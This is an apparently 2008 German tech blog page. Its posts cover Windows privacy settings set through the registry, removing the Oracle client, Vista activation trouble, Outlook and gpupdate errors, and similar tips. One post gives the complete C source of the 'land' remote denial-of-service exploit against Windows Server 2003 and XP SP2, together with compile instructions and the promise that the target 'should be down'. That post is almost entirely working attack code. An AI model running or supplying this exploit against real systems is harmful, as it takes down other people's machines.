Egal! Tatsache ist, dass Windows in seiner Standardkonfiguration kaum eine Möglichkeit auslässt Daten an Microsoft zu schicken. Ohne das es der Anwender etwas davon mitbekommt. Im folgenden kleine Paper will ich zeigen, wie man einige dieser ungewollten Telefonate unterbindet. Wer etwas zu ergänzen hat, soll dies einfach dazu schreiben, aber notieren, was von ihm geschrieben wurde.

2.0 RegDone – Onlinesystemüberprüfung
————————————-

Um die Onlineregistrierung, die am Anfang einer jeden Update-Funktion steht zu umgehen setzt man den Wert “RegDone” einfach manuell auf 1.

Schlüsell für Windows 98 & ME:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Welcome\RegWiz (@ auf 1 umstellen)

Schlüssel für Windows 2000 & XP:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Wenn noch kein Wert vorhanden ist, erstellen sie einfach einen Wert namens “RegDone”. Man sollte diese Registrierung umgehen, da persönliche Daten und eine eindeutige ID übermittelt wird.

3.0 Der Internet Explorer
————————-

Im Internet Explorer sollten folgende Einstellungen unter – Extras/Internetoptionen –> Erweitert – ausgeschaltet werden:

- Automatische Überprüfung auf Aktualisierung von Internet Explorer
- Integrierte Windows-Authentifizierung aktivieren

3.1 Alexia-Service
——————

Die heimliche Beziehung des Internet Explorers zu Alexa! Das heißt, wenn sie mit dem IE auf Datensuche im Internet sind, werden zeitgleich folgende Daten an Alexa übermittelt:

- Ihre IP-Adresse
- Alle URLs
- Informationen über Betriebsystem und Browser
- Alexa-Cookie-Nummer
- Datum

Nachzulesen auf: http://www.alexa.com/company/privacy.html

Um den Spion rauzuschmeißen, muss folgender Schlüssel gelöscht werden:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Extensions\{c95fe080-8f5d-11d2-a20b-00aa003c157a}

4.0 Die Akte Windows Media Player
———————————

Ja, auch er telefoniert sehr gern nach Hause. ;)
Siehe auch: http://www..microsoft.com/windows/windowsmedia/de/software/V8/privacy.asp#_What_personal_identifiable
Um dies zu verhindern sind drei Einstellung im Menue Optionen des WMP zu machen:

- Optionen/Player – (bei jedem das Häkchen raus ;)

- Codecs automatisch downloaden
- Identifikation des Players durch Internetseiten zulassen
- Lizenzen automatisch erwerben

5.0 Fehlerberichterstattung
—————————

Um die Fehlerberichterstattung auszuschalten, ändern sie den Wert DoReport auf 0.
Sie finden ihn unter dem Schlüssel:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting

Als Alternative dazu können sie unter – Systemsteuerung/System –> Erweitert/Fehlerbericherstattung – ebenfalls die Fehlerberichterstattung deaktivieren. Eine Deaktivierung ist sinnvoll, da nicht nur der Fehlerbericht sondern auch noch die Product-ID, zur Identifikation ihrer Lizenz, mitgeschickt wird. ;)

6.0 Microsofts Internetzeit-Server
———————————-

Ich weiß es klingt irgendwie paranoid, aber wer weiß was bei dem Zeitabgleich den Microsoft durchführt noch für Daten übermittelt werden? Daher sollte der Zeitabgleich via – time.windows.com – unterbunden werden. Dazu müssen sie unter
- Start/Systemsteuerung/Datum und Uhrzeit – folgendes ausschalten:

- Automatisch mit einem Internetzeitserver synchronisieren

7.0 Windows Update
——————

So eine Update-Funktion ist schon eine feine Sache, allerdings muss dazu ein ActiveX-Applet auf dem PC installiert werden, welches eine Reihe von Informationen, wie die Version des Betriebssystem, welche Hardwarekonfigurationen vorgenommen wurden usw. an Microsoft übermittelt. Muss es auch, damit das Update reibungslos ablaufen kann. Allerdings weiß man hier leider auch nicht genau, welche Informationen noch so übermittelt werden. Daher sollten Updates weiterhin manuell vorgenommen werden. Auf jeden Fall bei Microsoft. Um die automatische Update-Funktion zu deaktivieren müssen sie unter:

- Systemsteuerung/Automatische Updates -

den die Funktion deaktivieren. Unter Windows XP ist sie unter:

- Systemsteuerung/System –> Automatische Updates -

zu finden. Sie können aber auch gleich den Dienst “Automatische Updates” deaktivieren. Eine Auflistung aller Dienste finden sie unter:

- Systemsteuerung/Verwaltung/Dienste -

Dort den Dienst einfach deaktivieren.

8.0 Schlusswort
—————

Wahrscheinlich wurden von mir einige Sachen vergessen bzw. sind neu hinzukommen. Ich werde das Dokumente aber, wenn mir Neueres bzw. Vergessenes zugetragen wird, aktualisieren. Ansonsten ist das editieren und hinzufügen ausdrücklich erwünscht. Die neuen Stellen sollten allerdings gekenzeichnet werden. Das gilt natürlich nicht für das Ausbessern von Rechtschreibfehlern und kleine Ergänzungen. :)

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Oracle vollständig entfernen

Apr23
2008
Kommentieren Geschrieben von Daniel

Hier eine super Anleitung wie der Oracle Client vollsändig unter Windows deinstalliert werden kann:

1. Deinstalliere über den Software Manager (Hinzufügen und Entfernen von Programmen) den Oracle client.

2. Lösche in der regedit den Key HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE

3. Lösche alle regedit einträge die mit “Ora” beginnen (HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/)

4. Lösche das Verzeichnis C:/Oracle/

5. Lösche den Temp-Ordner

6. Entleere den Papierkorb.

Nun kann der Oracle Client wieder fisch installiert werden.

Windows Vista aktivierung?! Neuinstallation.

Apr18
2008
1 Kommentar Geschrieben von Daniel

Vorwort: Es handelt sich hierbei um eine ORIGINALE Vista Enterprise (Englisch) Lizenz.

Allllsoooooo, eines Tages bekam ich folgende Fehlermeldung:

den ersten Fehler den ich feststellen musste ist das ich dadurch das ich den Firefox als Standardbrowser definiert hatte, dadurch konnte ich den Link “Learn more online” nicht öffnen.

Durch ein bisschen Trixen habe ich ein Explorer-Fenster starten können, wodurch ich dann den Internet Explorer starten konnte und die Gültigkeitsprüfung durchführen könnte.

Doch komischerweise meint diese Überprüfung, dass ich Angeblich ein Schadprogramm oder ähnliches installiert hätte. Das konnte aber gar nicht sein weil das normale starten ohne VMware Fusion funktionierte.

Nun gut ich dachte mir nichts dabei und startete die Überprüfung erneut. Dann *BÄNG* *BOOM* BLUESCREEN REFERENCE_BY_POINTER

Da es nur eine Boot Camp Partition war, und es für mich nicht besonder schlimm oder ausergewöhnlich ist das Windows ab und zu mal meint nichtmehr zu funktionieren, störte mich das neu aufsetzen nicht :)

Sollte man jetzt aber einen richtigen PC haben und diesen Fehler bekommen ist man eigl. aufgeschmissen, da Vista denkt das man nicht das Original besitzt, obwohl es eigentlich ein Original ist. *Confused*

Fazit: Windows XP läuft besser und stabiler als Vista. Aber immernoch nicht stabiler als….

ein Mac/Linux Betriebsystem…!

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Ordner kann nicht gelöscht werden: “Element wurde nicht gefunden”

Apr13
2008
Kommentieren Geschrieben von Daniel

Es kann vorkommen das unter Windows man einen belibilgen Order nicht löschen kann. Es erscheint die Meldung, der Ordner befände sich nicht mehr am angegebenen Ort: “Element wurde nicht gefunden”.

Lösung:
Hier ist es ratsam den Ordner mitels DOS-Command zu löschen.
Man muss wie folgt vorgehen:
Start -> Ausführen… -> cmd -> “cd\” eigeben (Ohne Anführungsstiche) -> “rd ordner.old /s” eingeben (Ohne Anführungsstiche). -> Dann mit der Taste “J” die Eingabe bestätigen.

Geposted in Bugs

Wo speichert Firefox die Favoriten ab?

Mrz31
2008
1 Kommentar Geschrieben von Daniel

Firefox speichert die Favoriten und andere Benutzerdefinierte einstellungen unter folgendem Pfad ab:

“\%AppData%\Mozilla\Firefox\“

Favoriten/bookmarks:

“\%AppData%\Mozilla\Firefox\Profiles\bookmarks.html”

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Windows Server 2003 and XP SP2 Remote DoS Exploit

Mrz28
2008
Kommentieren Geschrieben von Daniel

Hi Leute ich hab mal den Land angriff compiliert für Linux.
Is gar nicht so schwer wie es aussieht.

Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten.
Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren.

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, “r57windos.c by __blf\n”);
fprintf(stderr, “RusH Security Team\n”);
fprintf(stderr, “Usage: %s <dest ip> <dest port>\n”, argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror(“socket!\n”);
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror(“setsockopt”);
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror(“sendto()\n”);
shutdown(mysock, 2);
return EX_OSERR;
}
printf(“Packet sent. Remote machine should be down.\n”);
shutdown(mysock, 2);
return EX_OK;
}

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Outlook2003: Das Element kann nicht gefunden werden

Mrz24
2008
Kommentieren Geschrieben von Daniel

Problem: Man klickt auf einer Webseite ein eMail Link an (mailto:) und es wird nicht Outlook geöffnet um eine eMail an diese Adresse zu schreiben sondern es kommt ein PopUp mit der Fehlermeldung “Das Element kann nicht gefunden werden”.

Lösung:

1. Outlook schliessen.

2. Die “FRMCHACHE.DAT” im Ordner “C:\Dokumente und Einstellungen\%user%\Lokale Einstellungen\Anwendungsdaten\Microsoft\FORMS\“

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Failed to set the policy mode. Error – Access is denied. Exiting…

Mrz20
2008
1 Kommentar Geschrieben von Daniel

Sollten unter Windows Netzwerklaufwerke fehlen, führt man ja den command gpupdate /sync oder /force aus.

Es kann sein das die Fehlermeldung “Failid to set the policy mode. Error – Access is denied. Exiting…” kommt. D.h. das, dass Computerkonto kaputt ist. (Siehe Screenshot)

gpupdate error

Lösung: Rechner aus der domain nehmen, Computerkonto löschen, Rechner in die Domäne hängen und in den richtigen ADS Container verschieben.

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